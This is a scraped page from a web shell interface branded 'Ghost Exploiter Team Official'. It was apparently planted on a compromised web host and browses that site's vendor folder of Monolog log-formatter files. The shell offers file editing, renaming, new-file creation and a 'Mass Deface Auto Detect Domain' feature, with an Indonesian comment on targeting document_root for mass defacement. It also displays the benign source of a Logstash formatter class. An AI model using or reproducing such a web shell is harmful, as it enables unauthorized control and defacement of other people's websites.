webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
monolog
/
monolog
/
src
/
Monolog
/
Formatter
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
ChromePHPFormatter.php
2.212KB
edt
ren
ElasticaFormatter.php
2.047KB
edt
ren
ElasticsearchFormatter.php
1.88KB
edt
ren
FlowdockFormatter.php
2.476KB
edt
ren
FluentdFormatter.php
2.29KB
edt
ren
FormatterInterface.php
0.85KB
edt
ren
GelfMessageFormatter.php
4.621KB
edt
ren
GoogleCloudLoggingForma
...
1.157KB
edt
ren
HtmlFormatter.php
4.516KB
edt
ren
JsonFormatter.php
5.887KB
edt
ren
LineFormatter.php
8.892KB
edt
ren
LogglyFormatter.php
1.25KB
edt
ren
LogmaticFormatter.php
1.536KB
edt
ren
LogstashFormatter.php
3.433KB
edt
ren
MongoDBFormatter.php
4.804KB
edt
ren
NormalizerFormatter.php
8.986KB
edt
ren
ScalarFormatter.php
1.109KB
edt
ren
SyslogFormatter.php
1.88KB
edt
ren
WildfireFormatter.php
3.968KB
edt
ren
<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\LogRecord; /** * Serializes a log message to Logstash Event Format * * @see https://www.elastic.co/products/logstash * @see https://github.com/elastic/logstash/blob/master/logstash-core/src/main/java/org/logstash/Event.java * * @author Tim Mower <timothy.mower@gmail.com> */ class LogstashFormatter extends NormalizerFormatter { /** * @var string the name of the system for the Logstash log message, used to fill the @source field */ protected string $systemName; /** * @var string an application name for the Logstash log message, used to fill the @type field */ protected string $applicationName; /** * @var string the key for 'extra' fields from the Monolog record */ protected string $extraKey; /** * @var string the key for 'context' fields from the Monolog record */ protected string $contextKey; /** * @param string $applicationName The application that sends the data, used as the "type" field of logstash * @param string|null $systemName The system/machine name, used as the "source" field of logstash, defaults to the hostname of the machine * @param string $extraKey The key for extra keys inside logstash "fields", defaults to extra * @param string $contextKey The key for context keys inside logstash "fields", defaults to context * * @throws \RuntimeException If the function json_encode does not exist */ public function __construct(string $applicationName, ?string $systemName = null, string $extraKey = 'extra', string $contextKey = 'context') { // logstash requires a ISO 8601 format date with optional millisecond precision. parent::__construct('Y-m-d\TH:i:s.uP'); $this->systemName = $systemName === null ? (string) gethostname() : $systemName; $this->applicationName = $applicationName; $this->extraKey = $extraKey; $this->contextKey = $contextKey; } /** * @inheritDoc */ public function format(LogRecord $record): string { $recordData = parent::format($record); $message = [ '@timestamp' => $recordData['datetime'], '@version' => 1, 'host' => $this->systemName, ]; if (isset($recordData['message'])) { $message['message'] = $recordData['message']; } if (isset($recordData['channel'])) { $message['type'] = $recordData['channel']; $message['channel'] = $recordData['channel']; } if (isset($recordData['level_name'])) { $message['level'] = $recordData['level_name']; } if (isset($recordData['level'])) { $message['monolog_level'] = $recordData['level']; } if ('' !== $this->applicationName) { $message['type'] = $this->applicationName; } if (\count($recordData['extra']) > 0) { $message[$this->extraKey] = $recordData['extra']; } if (\count($recordData['context']) > 0) { $message[$this->contextKey] = $recordData['context']; } return $this->toJson($message) . "\n"; } }